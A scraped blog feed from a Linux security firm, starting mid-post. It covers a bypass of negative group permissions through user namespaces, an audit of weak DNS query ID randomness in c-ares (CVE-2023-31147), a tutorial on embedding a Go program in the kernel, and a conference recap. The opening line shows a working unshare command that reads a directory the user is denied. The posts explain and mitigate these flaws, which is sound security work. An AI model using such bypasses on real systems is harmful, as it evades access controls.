bob@host$ ls /usr/share/games ls: cannot open directory '/usr/share/games': Permission denied bob@host$ unshare -S 0 --map-users=100000,0,1 ls /games atc boggle quiz

Background and History

At first, the idea that dropping or changing group memberships might cause problems wasn’t considered when user namespaces were added. This was mainly because people didn’t think about situations where permissions work in a negative way. It was assumed that if you leave a group, you’d have less power, and on Linux diminishing one’s own authority is usually okay. Yet, it didn’t take long to realize⁴ that dropping groups could actually give more power when dealing with negative permissions. This discovery led to an issue known as CVE-2014-8989, which was quickly fixed in Linux version 3.19.

In 2018, it was discovered that version 4.5 of the shadow-utils package introduced a new tool named newgidmap. This tool can be used to create more complex mappings for group IDs within user namespaces. Consequently, it reinstates the ability to drop group memberships using the setgroups() syscall⁵. This issue was given the tracking identifier CVE-2018-7169. The resolution adopted by some Linux distributions was to exclude this tool from their packages. Furthermore, newuidmap assists users in changing their user ID to one within an authorized range, as configured in /etc/subid⁶. This maneuver can also serve to circumvent negative permissions based on user settings.

Though this problem wasn’t a kernel bug, it became evident that rectifying this vulnerability without disrupting established programs like podman would require a non-trivial kernel change⁷⁸.

Other potential solutions also focused on the shadow-utils package itself⁹, but as of now, they haven’t gained significant traction. Ultimately, by 2021, a general agreement was reached to move away from supporting negative permissions and to acknowledge the reality that they can be circumvented¹⁰.

In 2023, Richard rediscovered the problem and opted to comprehensively document it across multiple Linux manual pages¹¹.

Summary

Negative permissions have consistently been regarded as bad practice and often treated as theoretical concept. With the incorporation of Linux containers, negative permissions can now be evaded.

If you find yourself reliant on them, consider one of the following actions:

• Restructure your permissions into proper allow rules; this is the most recommended approach.
• Ensure that neither newuidmap nor newgidmap is present. As of 2023, these two tools are the primary gateways for bypassing such permissions. However, this situation might change in the future.
• Completely disable user namespaces by setting the user.max_user_namespaces sysctl to 0.
• On Ubuntu-based systems, you can also use the kernel.unprivileged_userns_clone to disable user namespaces only for unprivileged users.

Finally, it is worth noting that there is still effort to tame newgidmap and newuidmap¹².

---

1. https://man7.org/linux/man-pages/man2/setgroups.2.html ↩︎

2. https://man7.org/linux/man-pages/man1/newuidmap.1.html ↩︎

3. https://man7.org/linux/man-pages/man1/newgidmap.1.html ↩︎

4. https://lwn.net/Articles/621629/ ↩︎

5. https://bugs.launchpad.net/ubuntu/+source/shadow/+bug/1729357 ↩︎

6. https://man7.org/linux/man-pages/man5/subuid.5.html ↩︎

7. https://lore.kernel.org/lkml/20210510130011.1441834-1-gscrivan@redhat.com/ ↩︎

8. https://lore.kernel.org/lkml/878sc27zfd.fsf_-_@x220.int.ebiederm.org/ ↩︎

9. https://github.com/shadow-maint/shadow/pull/99 ↩︎

10. https://lore.kernel.org/lkml/m1o8d4xgkk.fsf@fess.ebiederm.org/] ↩︎

11. https://lore.kernel.org/linux-api/20230829205833.14873-1-richard@nod.at/ ↩︎

12. https://github.com/shadow-maint/shadow/pull/99#issuecomment-1698356714 ↩︎

]]>https://sigma-star.at/blog/2023/08/c-ares_cve-2023-31147/Tue, 22 Aug 2023 00:00:00 +0200David Gstirhttps://sigma-star.at/blog/2023/08/c-ares_cve-2023-31147/CVE-2023-31147: Insufficient randomness for DNS query identifiers in c-ares

Despite having DNSSEC, DoH or DoT to secure DNS lookups, many systems still rely on plain old DNS from 1983. Earlier this year, we’ve been part of a larger team that audited c-ares v1.19.0. c-ares is an asynchronous DNS client library with support for a wide range of platforms. It is around for quite some time now and a few of its more prominent users include libcurl, node.js and Wireshark.

]]>CVE-2023-31147: Insufficient randomness for DNS query identifiers in c-ares

Despite having DNSSEC, DoH or DoT to secure DNS lookups, many systems still rely on plain old DNS from 1983. Earlier this year, we’ve been part of a larger team that audited c-ares v1.19.0. c-ares is an asynchronous DNS client library with support for a wide range of platforms. It is around for quite some time now and a few of its more prominent users include libcurl, node.js and Wireshark.

In this post, we delve into one specific outcome of our work, namely the weak DNS query ID generation in c-ares identified as CVE-2023-31147.

DNS Query ID Generation in c-ares

Even though plain DNS does not include any cryptographic measures for authenticity, DNS queries use two properties for being more resilient against forged answers¹:

1. Source port randomization: DNS queries originate from a randomly chosen port, and the response must be directed back to the same port of the originating query.
2. Random DNS query identifiers: DNS queries contain a randomized 16-bit ID, which the corresponding response must match to gain acceptance.

In the good old days, this was not the default. For instance, DNS resolvers used fixed source ports, allowing attackers to focus solely on correctly predicting the 16-bit query ID. The practical exploitation of this vulnerability was most prominently shown by Dan Kaminsky in 2008 through the publication of CVE-2008-1447. Thus, selecting the source port and query ID using a cryptographically secure random number generator (CSPRNG) is crucial: It makes it quite hard for attackers to construct and inject a malicious response before the real response arrives at the client.

When auditing a DNS protocol implementation like c-ares, we always check if these mitigations are properly implemented. In the context of this blog post, we primarily focus on random DNS query identifiers, as source port randomization is nowadays the default and is managed by the OS².

The high-level design of DNS-Query ID generation in c-ares appears fairly simple to users: Upon initialization with ares_init(ares_channel *channelptr), c-ares collects random bytes from the OSes CSPRNG. These bytes serve as the seed for an internal CSPRNG. This internal CSPRNG is then used to generate the 16-bit DNS query ID for each individual query. The CSPRNG state is stored in the opaque type ares_channel and updated every time a DNS query ID is generated through the use of ares__generate_new_id(...).

Hello 1987

Once we start looking at the code more closely, we’ll realize that not everything is well designed: First, we notice that DNS query IDs are generated using a pseudo random number generator (PRNG) based on RC4:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50

static void rc4(rc4_key* key, unsigned char *buffer_ptr, int buffer_len) { unsigned char x; unsigned char y; unsigned char* state; unsigned char xorIndex; int counter; x = key->x; y = key->y; state = &key->state[0]; for(counter = 0; counter < buffer_len; counter ++) { x = (unsigned char)((x + 1) % 256); y = (unsigned char)((state[x] + y) % 256); ARES_SWAP_BYTE(&state[x], &state[y]); xorIndex = (unsigned char)((state[x] + state[y]) % 256); buffer_ptr[counter] = (unsigned char)(buffer_ptr[counter]^state[xorIndex]); } key->x = x; key->y = y; } // ... /* a unique query id is generated using a rc4 key. Since the id may already be used by a running query (as infrequent as it may be), a lookup is performed per id generation. In practice this search should happen only once per newly generated id */ static unsigned short generate_unique_id(ares_channel channel) { unsigned short id; do { id = ares__generate_new_id(&channel->id_key); } while (find_query_by_id(channel, id)); return (unsigned short)id; } unsigned short ares__generate_new_id(rc4_key* key) { unsigned short r=0; rc4(key, (unsigned char *)&r, sizeof(r)); return r; }

In case you’re too young or it’s been a while: RC4 is a stream cipher designed in 1987 and has gained widespread usage over the years. However, since its inception, it has been shown to be flawed and insecure multiple times. It is also the reason why Wifi protocols WPA-TKIP and WEP were both famously broken. So it is not a cipher you’d use in 2023.

Using RC4 as cryptographically secure PRNG (CSPRNG) was also quite common some time ago and it was the core of arc4random(3) which originated in OpenBSD and is nowadays part of all BSD-descendants including Apple’s macOS and iOS. However, with the discovery of more and more ways the RC4 key stream is biased and not properly random, it became clear that RC4 was unsuitable for use as a CSPRNG. As a result, today’s arc4random(3) implementations use CSPRNGs based on ChaCha20 or AES.³

Shifting our focus back to c-ares, there is more to be considered: While functions like arc4random(3) did ensure that new entropy is added after a certain amount of random bytes has been generated, c-ares takes a different approach. It simply seeds the PRNG once and uses it throughout the entire lifespan of the ares_channel. This may not be a concern for tools like adig (the dig version of c-ares), since the process will never live long enough. On the other hand, if we consider services which run for a much longer time and perform a lot of DNS queries, this might be a different story. Especially, if said service initializes a single ares_channel upon startup and uses it until it is stopped. While this is probably not really an issue with c-ares, it is common practice to reseed the PRNG after generating a certain amount of bytes.

Broken Twice

With our interest peaked, we can start looking more closely into how RC4 is seeded. This is done in the function init_id_key(rc4_key* key,int key_data_len) which gets handed in a pointer to the rc4_key type stored in the ares_channel and a number dubbed key_data_len:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33

static int init_id_key(rc4_key* key,int key_data_len) { unsigned char index1; unsigned char index2; unsigned char* state; short counter; unsigned char *key_data_ptr = 0; key_data_ptr = ares_malloc(key_data_len); if (!key_data_ptr) return ARES_ENOMEM; memset(key_data_ptr, 0, key_data_len); state = &key->state[0]; for(counter = 0; counter < 256; counter++) /* unnecessary AND but it keeps some compilers happier */ state[counter] = (unsigned char)(counter & 0xff); randomize_key(key->state,key_data_len); key->x = 0; key->y = 0; index1 = 0; index2 = 0; for(counter = 0; counter < 256; counter++) { index2 = (unsigned char)((key_data_ptr[index1] + state[counter] + index2) % 256); ARES_SWAP_BYTE(&state[counter], &state[index2]); index1 = (unsigned char)((index1 + 1) % key_data_len); } ares_free(key_data_ptr); return ARES_SUCCESS; }

We notice that the buffer key_data_ptr is actually useless, since it is never populated with something other than all zero bytes. So we can actually ignore it in the calculation of index2 in line 25.

Furthermore, the 256-byte buffer key->state[] is filled with numbers from 0 to 255, and then handed to a function randomize_key(...) which one would assume shuffles the contents of key->state[]. Also notice that we hand key_data_len to this function. Digging through the header files, we can find that its value is always ARES_ID_KEY_LEN, which is 31. So this is not the length of key->state[] which is 256 bytes.

Therefore, it begs the question where the true randomness is fetched from the OS. Looking at the code above, randomize_key(...) is the only sensible candidate. Prior to delving into that, let’s briefly compare how RC4 is implemented in OpenSSL:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28

void RC4_set_key(RC4_KEY *key, int len, const unsigned char *data) { register RC4_INT tmp; register int id1, id2; register RC4_INT *d; unsigned int i; d = &(key->data[0]); key->x = 0; key->y = 0; id1 = id2 = 0; #define SK_LOOP(d,n) { \ tmp=d[(n)]; \ id2 = (data[id1] + tmp + id2) & 0xff; \ if (++id1 == len) id1=0; \ d[(n)]=d[id2]; \ d[id2]=tmp; } for (i = 0; i < 256; i++) d[i] = i; for (i = 0; i < 256; i += 4) { SK_LOOP(d, i + 0); SK_LOOP(d, i + 1); SK_LOOP(d, i + 2); SK_LOOP(d, i + 3); } }

We’ll notice that init_id_key(...) in c-ares is slightly different and actually broken:

OpenSSL’s key schedule implementation receives the raw key via the data buffer, initializes the state buffer d and then shuffles d and data.

In c-ares, key_data_ptr is OpenSSL’s data buffer and state is the equivalent of pointer d. Knowing this, we can see that c-ares confused key->state with key_data_ptr when calling randomize_key(...) which we assume retrieves a random key. Consequently, the 256 ARES_SWAP_BYTE(...) operations in c-ares’ key schedule incorrectly depend on key->state only, but not key_data_ptr.

Without going into all the math details here, this definitely looks worse than what the original RC4 key schedule does as it is likely resulting in fewer possible permutations of key->state[]. We can assume that this has a downside on the quality of random numbers it generates.

Predictable Randomness

Finally, let’s take a look at the randomize_key(...) more closely:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31

/* initialize an rc4 key. If possible a cryptographically secure random key is generated using a suitable function otherwise the code defaults to cross-platform albeit less secure mechanism using rand */ static void randomize_key(unsigned char* key,int key_data_len) { int randomized = 0; int counter=0; #ifdef WIN32 BOOLEAN res; res = RtlGenRandom(key, key_data_len); if (res) randomized = 1; #else /* !WIN32 */ # ifdef CARES_RANDOM_FILE FILE *f = fopen(CARES_RANDOM_FILE, "rb"); if(f) { setvbuf(f, NULL, _IONBF, 0); counter = aresx_uztosi(fread(key, 1, key_data_len, f)); fclose(f); } # endif #endif /* WIN32 */ if (!randomized) { for (;counter<key_data_len;counter++) key[counter]=(unsigned char)(rand() % 256); /* LCOV_EXCL_LINE */ } }

At first glance, this appears okay: On WIN32 systems, RtlGenRandom() is used to query key_data_len bytes of randomness from the OS and place them into key which is key->state[] in the caller init_id_key(...).

On non-WIN32 targets, we either open the file path of CARES_RANDOM_FILE and read key_data_len bytes from there or fall back to using rand() to get the same amount of random numbers. We assume that CARES_RANDOM_FILE is set to /dev/urandom or /dev/random for now.

An initial observation here is that the fallback relies on rand(3), which is not designed for generating cryptographically secure random numbers. Since it is only a fallback if nothing else works it is better than return 4;, but it would be a better choice to first try to use arc4random(3) on *BSD or getrandom(2) on Linux, just in case.

More concerning though, is the absence of any srand(3) in the whole source, which would seed the PRNG used by rand(3). Without it, rand(3) will output the same sequence of numbers every single time! This means that all our DNS query IDs will be fully predictable every time we end up in this fallback case.

Looking at the CARES_RANDOM_FILE case, it becomes evident that any error with fread(3) will silently fail and result again in rand(3) being used. While c-ares does the best it can in this case, it probably shouldn’t fail silently. At least a few sysadmins would want to know that their DNS queries are all predictable due to some configuration issue.

Compiled Non-Randomness

Finally, there is one more thing in the above code. Whenever CARES_RANDOM_FILE is not set, it automatically falls back to using rand(3) for seeding the RC4 PRNG. That this can be a problem becomes apparent when we look at the Autotools configure.ac file:

dnl Check for user-specified random device
AC_ARG_WITH(random,
AS_HELP_STRING([--with-random=FILE],
               [read randomness from FILE (default=/dev/urandom)]),
    [ CARES_RANDOM_FILE="$withval" ],
    [
        dnl Check for random device.  If we're cross compiling, we can't
        dnl check, and it's better to assume it doesn't exist than it is
        dnl to fail on AC_CHECK_FILE or later.
        if test "$cross_compiling" = "no"; then
          AC_CHECK_FILE("/dev/urandom", [ CARES_RANDOM_FILE="/dev/urandom"] )
        else
          AC_MSG_WARN([cannot check for /dev/urandom while cross compiling; assuming none])
        fi

    ]
)

As we can see, the existence of /dev/urandom is determined at compile time. This will likely break in cross-compile situations where this file does not exist on your build host. We’ll then always use the fallback case with the RC4 PRNG seeded by rand(3)! Luckily enough, c-ares also brings CMake as build system and this is used for example by the Yocto meta-oe recipe for c-ares, so not all is lost.

Nevertheless, the check for /dev/urandom’s existence in c-ares should probably be done during runtime instead of determining it at compile time.

Putting All Together

Combining all these issues, we now know that:

• c-ares employs an RC4-based PRNG, which is no longer suitable for generating cryptographically secure random numbers.
• Due to the bug in the key schedule, the resultant random numbers will likely be of worse quality than those of a standard RC4-based PRNG.
• The fallback case will always generate the same sequence of DNS query IDs.
• Cross-building c-ares without /dev/urandom on the host will result in the fallback case being used, even if /dev/urandom would be available on the target.

This means that DNS query IDs generated by c-ares are not fully random, raising the likelihood of query IDs becoming completely predictable. Consequently, an attacker’s search space for the tuple of source port and DNS query ID is smaller and makes it more likely to succeed. It basically brings us closer to the good old days of CVE-2008-1447 where source port randomization was not used by default. :-)

After reporting this issue, the c-ares maintainers published v1.19.1, which rectifies this problem (fix commit) and other recent vulnerabilities. So, better be sure to update c-ares to the latest version!

---

1. RFC5452 lists all measures DNS implementations should take to be more resilient against response forgery. ↩︎

2. Of course we also checked if the c-ares code base does anything special with respect to selecting the source port. ↩︎

3. Shout out to DragonFlyBSD who also managed this just recently in 2023! ;-) ↩︎

]]>https://sigma-star.at/blog/2023/07/embedded-go-prog/Fri, 21 Jul 2023 00:00:00 +0200Richard Weinbergerhttps://sigma-star.at/blog/2023/07/embedded-go-prog/Let’s Embed a Go Program into the Linux Kernel

Today, we would like to present a lesser-known feature of the Linux kernel. Instead of launching a program from a file system, regardless of whether it’s virtual or not, it is also possible to embed a user-space program directly into the kernel image itself and start it from there.

Introduction

At first glance, this might sound outlandish and of little use, but there are cases where the kernel needs to execute helper programs. Prominent examples include the module loader helper, /sbin/modprobe, or the Spanning Tree Protocol (STP) helper for Linux’s 802.1d Ethernet bridge subsystem, /sbin/bridge-stp. On Linux, programs are typically launched from a file system using the execve() system call. The kernel reads the initial parts of the specified file and hands over execution to user space. Various helper functions exist on top of this system call, but they all have in common that the program to be executed is started from a file. The same applies to the Linux user mode helper API, which allows executing a program from a driver. Both scenarios require the program to be installed and loadable. In most cases, having the program installed is a trivial problem if you have control over all user space, as is the case with a typical Linux distribution.

]]>Let’s Embed a Go Program into the Linux Kernel

Today, we would like to present a lesser-known feature of the Linux kernel. Instead of launching a program from a file system, regardless of whether it’s virtual or not, it is also possible to embed a user-space program directly into the kernel image itself and start it from there.

Introduction

At first glance, this might sound outlandish and of little use, but there are cases where the kernel needs to execute helper programs. Prominent examples include the module loader helper, /sbin/modprobe, or the Spanning Tree Protocol (STP) helper for Linux’s 802.1d Ethernet bridge subsystem, /sbin/bridge-stp. On Linux, programs are typically launched from a file system using the execve() system call. The kernel reads the initial parts of the specified file and hands over execution to user space. Various helper functions exist on top of this system call, but they all have in common that the program to be executed is started from a file. The same applies to the Linux user mode helper API, which allows executing a program from a driver. Both scenarios require the program to be installed and loadable. In most cases, having the program installed is a trivial problem if you have control over all user space, as is the case with a typical Linux distribution.

However, things become complicated if you are a Board Support Package (BSP) supplier, either external or in-house, and don’t always have easy access to the workflow that determines what to install in the root file system. Ensuring that a program is actually loadable from the current root file system is a different story. A common problem arises in setups where the root file system is attached using network storage, such as NFS or iSCSI. If the network connection is unavailable, all access to the root file system fails, and the kernel is unable to run helpers anymore. This is where the mechanism we’d like to present in this blog post can help.

Let’s assume we have a device driver called embedded_prog that requires a user space helper program, which must be executable at any time. First, we need the program we want to embed. Strictly speaking, any program will do, but we need to ensure that the program in question has no dependencies on the file system. Linking it statically provides benefits. Go programs are statically linked by default, and to illustrate that the following approach works with any kind of program, we have chosen to embed a Go program into the kernel. The driver itself is very simple. All it does is execute the helper program as soon as the driver is loaded, and when the program writes something into the pipe, the contents are directly logged into the kernel log buffer.

The Go Program

To keep things simple, the program itself will be straightforward. It will write ‘Hello, world!’ to standard output every five seconds.

1 2 3 4 5 6 7 8 9 10 11 12 13

package main import ( "fmt" "time" ) func main() { for { fmt.Println("Hello, world!") time.Sleep(5 * time.Second) } }

Since we want to be independent of the root file system, we need to ensure that the program does not access files from the root file system. We can achieve this by using strace to trace its system calls.

$ strace -fe trace=file ./eprog_user
execve("./eprog_user", ["./eprog_user"], 0x7fff743fbd50 /* 61 vars */) = 0
openat(AT_FDCWD, "/sys/kernel/mm/transparent_hugepage/hpage_pmd_size", O_RDONLY) = 3
strace: Process 17908 attached
strace: Process 17909 attached
strace: Process 17910 attached
strace: Process 17911 attached
[pid 17905] --- SIGURG {si_signo=SIGURG, si_code=SI_TKILL, si_pid=17905, si_uid=1000} ---
Hello, world!
Hello, world!
^C
strace: Process 17905 detached
strace: Process 17908 detached
strace: Process 17909 detached
strace: Process 17910 detached
strace: Process 17911 detached

Looks good! Access to files in /proc or /sys is fine. These are virtual file systems and can be assumed to be present and working at all times. They are part of the Linux ABI interface.

Linux’s User Mode Helper API

If your device driver needs to execute a user space program, the User Mode Helper API is the way to go. The core function to use the API is call_usermodehelper(), which has the following signature:

int call_usermodehelper(const char *path, char **argv, char **envp, int wait);

Similar to the execve() system call, call_usermodehelper() takes parameters such as the filename of the program to be executed, supplied arguments, environment, and a flag denoting whether the call should be asynchronous or not. However, this is not what we want for running an embedded program within the kernel image itself.

Since Linux v4.18, a more advanced API called user mode driver is available to run a user mode helper. The basic idea behind this API is that instead of specifying a path to a file on the root file system, an arbitrary buffer can be provided. The content of this buffer will be executed in user space just like a regular program.

int umd_load_blob(struct umd_info *info, const void *data, size_t len);
int fork_usermode_driver(struct umd_info *info);

Using umd_load_blob(), a program context is created from a buffer, and later it is executed by fork_usermode_driver(). In addition to running the program, the User Mode Driver API also establishes a pipe between the program and the kernel, enabling inexpensive communication between them.

But how do we get our Go program into that buffer? We don’t want a new user space interface where the program has to be loaded into the kernel first. We want it to be part of the kernel image.

GNU Assember to the Rescue!

The kernel build system, specifically the GNU assembler (gas), can assist us in embedding the Go program into the resulting kernel image during the build process. By using a gas file, eprog_user_blob.S, we can instruct the assembler to generate a C object file with two symbols: embedded_umh_start and embedded_umh_end. These symbols will contain the contents of a binary file specified by the .incbin command, and this file can be arbitrary.

1 2 3 4 5 6

.section .init.rodata, "a" .global embedded_umh_start embedded_umh_start: .incbin "drivers/misc/embedded_prog/eprog_user" .global embedded_umh_end embedded_umh_end:

If we link the resulting object file, eprog_user_blob.o, with our Linux device driver, we can utilize the symbols to locate the contents of the Go program within the kernel image. This makes loading and executing the program from a buffer straightforward. In this case, the buffer passed to umd_load_blob() is a memory location within the read-only section of the in-memory kernel image. The linker has kindly prepared everything for us at compile time!

The code snippet provided below demonstrates the essential segments of the device driver, eprog_kern.c, responsible for loading and executing the Go program:

1 2 3 4 5 6

struct umd_info eprog_ctx = { .driver_name = "eprog_user", }; umd_load_blob(&eprog_ctx, &embedded_umh_start, &embedded_umh_end - &embedded_umh_start); fork_usermode_driver(&eprog_ctx);

Using the nm command, we can observe the symbols in the driver. If the driver is built as a loadable module, you can run nm on eprog.o. Otherwise, if it is built directly into the kernel, you can run nm on vmlinux.

$ nm eprog.o | grep embedded_umh_
00000000001bc4e4 R embedded_umh_end
0000000000000000 R embedded_umh_start

$ nm vmlinux | grep embedded_umh_
0000000060688a00 d embedded_umh_end
00000000604cc51c d embedded_umh_start

Gluing it all Together

So far we have the following components:

• eprog_kern.c: The kernel driver that runs umd_load_blob() and fork_usermode_driver().
• eprog_user_blob.S, The assembly source file we use to embed the Go program into a C object.
• gohello/hello.go, Our Go program, located in a subdirectory of our driver.

Using the following Makefile, all components are build and connected together:

1 2 3 4 5 6 7

$(obj)/eprog_user_blob.o: $(obj)/eprog_user $(obj)/eprog_user: $(srctree)/drivers/misc/embedded_prog/gohello/hello.go # TODO: Add support for cross builds go build -o $(obj)/eprog_user $(srctree)/drivers/misc/embedded_prog/gohello/hello.go obj-$(CONFIG_EMBEDDED_PROG) += eprog.o eprog-objs += eprog_kern.o eprog_user_blob.o

Linux’s GNU make-based build system is rather flexible: it allows us to build our Go program even while building the kernel.

The following graphic outlines how all components are connected:

Demo

$ insmod eprog.ko
$ ps fax
  PID TTY      STAT   TIME COMMAND
    2 ?        S      0:00 [kthreadd]
[..]
   25 ?        Sl     0:00  \_ eprog_user
[..]
   30 ?        R      0:00 ps fax
$ dmesg -w
[   53.300000] eprog: From userspace: Hello, world!
[   58.310000] eprog: From userspace: Hello, world!
[...]

We observe a new process, eprog_user, right after loading the driver module. It is not a kernel thread, the name is not in square brackets and it is not a child of PID 1 but of kthreadd. Every five seconds the Go program will write Hello, world! via standard output to the kernel driver which prints the string to the kernel log buffer. Once the module is unloaded, the process is killed.

Summary

We have seen that using a small assembly file and the User Mode Driver mechanism, it is possible to embed any kind of executable into the kernel image and run it later from there. It works with any kind of program; we used a Go binary because it is statically linked and has no dependencies on the root file system. If you’re using your own program and want to be completely independent of the root file system, make sure that you know in detail which files it will process. While the number of valid use cases for the presented feature is arguably small, it is still interesting to have and opens the door to new possibilities. The example driver is rather simple, but there are numerous other ways to utilize this feature. Please keep in mind that adding programs to the kernel image comes with a cost: the program as a whole will always stay in memory.

The full example driver is available on git.kernel.org.

]]>https://sigma-star.at/blog/2023/07/eoss-2023/Mon, 03 Jul 2023 00:00:00 +0200Aaron MarcherDavid GstirDavid OberhollenzerRichard Weinbergerhttps://sigma-star.at/blog/2023/07/eoss-2023/Embedded Open Source Summit 2023

The Embedded Open Source Summit in Prague was a significant event for our company, as it marked our first major conference since the Pandemic. As dedicated professionals in the field of embedded Linux systems, attending this summit allowed us to gain valuable insights, learn from industry experts, and connect with like-minded individuals.

This year’s summit featured six distinct tracks, namely the Embedded Linux Conference, Zephyr Project Developer Summit, Automotive Linux Summit Europe, Embedded IoT Summit, Safety-Critical Software Summit, and the LF Energy Embedded Summit 2023. Our primary focus was on Linux and security-related topics. In this blog post, we will provide a brief overview of the noteworthy talks and presentations that left a lasting impact on us.

]]>Embedded Open Source Summit 2023

The Embedded Open Source Summit in Prague was a significant event for our company, as it marked our first major conference since the Pandemic. As dedicated professionals in the field of embedded Linux systems, attending this summit allowed us to gain valuable insights, learn from industry experts, and connect with like-minded individuals.

This year’s summit featured six distinct tracks, namely the Embedded Linux Conference, Zephyr Project Developer Summit, Automotive Linux Summit Europe, Embedded IoT Summit, Safety-Critical Software Summit, and the LF Energy Embedded Summit 2023. Our primary focus was on Linux and security-related topics. In this blog post, we will provide a brief overview of the noteworthy talks and presentations that left a lasting impact on us.

Finding the Best Block Filesystem for Your Embedded Linux System

In this talk, Michael Opdenacker from Bootlin compared various file systems that can be used on an embedded board’s eMMC or SD card. So the comparison and benchmarks included not just read-only filesystems like SquashFS and EROFS, but also writable ones like ext4, XFS, btrfs, nilfs2 and F2FS.

The comparisons included read and write benchmarks, image size, size of the kernel module and how tiny a minimal filesystem could be packed.

Regarding filesystem size, SquashFS came out as a clear winner, while EROFS wins in terms of read speed. We’ve also discussed in more detail in a previous blog post.

If a writable filesystem is desired, with a focus on simplicity and image size, ext4 wins across the board.

The Resurrection of Ureadahead and Speeding up the Boot Process and Preloading Applications

If you’ve ever been to an Embedded Linux Conference, you’ll know Steven Rostedt. Though not in Batman costume this time, he gave a great talk on ureadahead. More specifically, how he resurrected this almost dead tool and how this helps speed up every ChromeOS boot.

Basically, ureadahead records page faults during bootup and uses this information on every subsequent boot to pre-cache the required pages in the Kernel’s page cache. One of the great changes Steven made as part of his ureadahead rewrite was to remove the dependency on non-mainline tracepoints such that it now works with vanilla Kernels.

Steven concluded with his list of future ideas for ureadahead and his call for the embedded community to get involved. The following discussion showed that effective performance boost for embedded devices might be lower though as the read patterns might be different. Also, compression e.g. with SquashFS might put more load on the CPU which could reduce the I/O benefits.

Status of Embedded Linux

As always, Tim Bird’s status report on embedded Linux was a conference highlight. In addition to presenting various development statistics, Tim focused on the fact that Linux is now the operating system of choice for most space vehicles. When comparing the current state of embedded Linux to that of 10 or 15 years ago, the overall outlook is very positive.

Tim also shared some unfortunate news: Wolfgang Denk, the founder of u-boot and DENX, passed away in 2022. As a major contributor to embedded Linux and some of us having personally met and worked with Wolfgang, we agree with Tim that he will definitely be missed! Moreover, elinux.org, a valuable resource for the community, has lost its funding and now faces an uncertain future.

Toolchain Options in 2023: What’s New in Compilers and Libcs?

Bernhard Rosenkränzer from BayLibre provided a comprehensive overview of the toolchain landscape in 2023. In addition to the traditional GNU toolchain (GCC, binutils, and glibc), we now have excellent tools from the LLVM project as well. Bernhard conducted an unbiased comparison of all the available options and emphasized that having more choices leads to increased test coverage for a project. He also introduced lesser-known libc implementations that could prove valuable for deep embedded systems.

One of the key takeaways from his presentation was that building the same project using different toolchains aids in bug discovery. This is because each compiler has its unique approach to detecting code issues. From a security perspective, this is something we can attest to!

MUSE: MTD in Userspace, or How to Extend FUSE for Fun and Profit

Our own Richard Weinberger gave a nice talk on his work-in-progress debugging and evaluation tool for MTD. With MUSE he utilizes the existing FUSE interfaces and (slightly) extended them to now support writing MTD drivers in userspace.

Richard’s motivation for creating MUSE stems from him maintainer work in various Kernel raw flash subsystems: NAND, MTD, UBI, UBIFS. While the Kernel already has tools for this (mtdram, block2mtd, nandsim) all of them have their drawbacks and using them can be quite cumbersome. Everybody who had to figure out the proper NAND IDs for nandsim will be able to relate ;-)

Richard started with an overview of his various attempts for MUSE and why FUSE has a great fit for his use case. He also gave more detailed insights into the FUSE interface, how he used them for MUSE and how it might be useful for other use cases as well.

Evaluation of PREEMPT_RT in Virtualized Environments

As we ourselves know from experience with our customers proper real-time behavior is often hard to achieve. Jan Altenberg from OSADL presented his findings from latency measurements in virtualized scenarios.

He evaluated multiple scenarios from using containerized environments with Docker and fully virtualized settings with KVM and Jailhouse. His focus was primarily on thread latency (tested with cyclictest) and the influence of blocking kernel code (e.g. some misbehaving device driver) and shared hardware resources like the CPU cache on real-time behavior in host and guest OS.

The core takeaway from this talk is that correct assignment of hardware resources like CPU cores and configuration of hardware is essential to achieving good results. As one would expect, containerized environments with a shared OS Kernel have much more influence on real-time behavior on the whole system than properly configured virtualized environments. In Jan’s test, the most effective isolation was achieved when he used Jailhouse. Though even there, effects from the CPU cache will still cause disturbance between individual guest OSes depending on the CPU and guest OS segmentation.

Having access to the large OSADL real-time testing infrastructure definitely helped with this. In case you want to check out the OSADL QA Farm for real-time for yourself here.

Fetching, Configuring and Building Your Bitbake Project with Just One Command

Jan Kiszka of Siemens AG presented kas (Bavarian for “cheese” or “nonsense”), a simple yet efficient tool for setting up and performing Yocto builds. Traditionally, when building a Yocto-based project, it is the responsibility of the project owner to manage and checkout all the associated meta layers, create various configuration files, and initiate the build process.

kas allows describing the entire project in a single YAML file and provides tools for checking out, managing, and building the project. Additionally, there is an accompanying wrapper called kas-container, which runs the entire Yocto build within a Docker or Podman container. This approach ensures that the build environment is completely separate from the host system, minimizing any potential side effects during the build.

The project has been in existence since 2017, and at sigma star gmbh, we have been using it with great success for the majority of our Yocto projects since 2021.

Setting up Yocto Layers and Builds with Official Tools

On a similar subject as the talk on kas, however with different goals and a different implementation, Alexander Kanavin presented the new official Yocto way to manage and reproduce build configurations and layers. Historically, the Yocto Project did not provide such tools, which changed with the latest release(s).

In the current release (mickledore), the bitbake-layers tool is able to save its configuration, which can afterward be restored with oe-init-build-env and oe-setup-build (patch set is currently under code-review), respectively. In the future, an additional high-level tool for setting up Yocto builds, called oe-setup may be possibly available via PyPi, making build initialization even simpler. Also an integration with kas using a plugin is possible in the future.

Why Are GPUs (Not) Fast - A Trip Through the Driver Stack

Pengutronix’s GPU expert, Lucas Stach, provided a crisp overview of the pipelining and scheduling of GPU based rendering pipelines. The takeaway message was that GPUs are primarily optimized for throughput, not latency. A rendering pipeline involving shared resources, multiple compositing steps, and frame write synchronized with vertical refresh can easily rake up a latency in the double digit milliseconds.

This becomes relevant in the context of real-time applications, where we are interested in optimizing for stable, low latency. Generally, when discussing real-time properties, one should keep in mind that latency, jitter and throughput are separate concepts. “Real-time” does not necessarily mean “real-fast”. GPUs are primarily optimized for the latter.

Tracking Vulnerabilities with Buildroot and Yocto

Arnout gave an interesting talk on how to track vulnerabilities across all your dependencies with Buildroot and Yocto. Both projects include tooling to use CVE identifiers published via the NVD for tracking vulnerabilities. It was interesting to see that the current tooling sometimes makes tracking known vulnerabilities within your custom Linux distribution quite cumbersome.

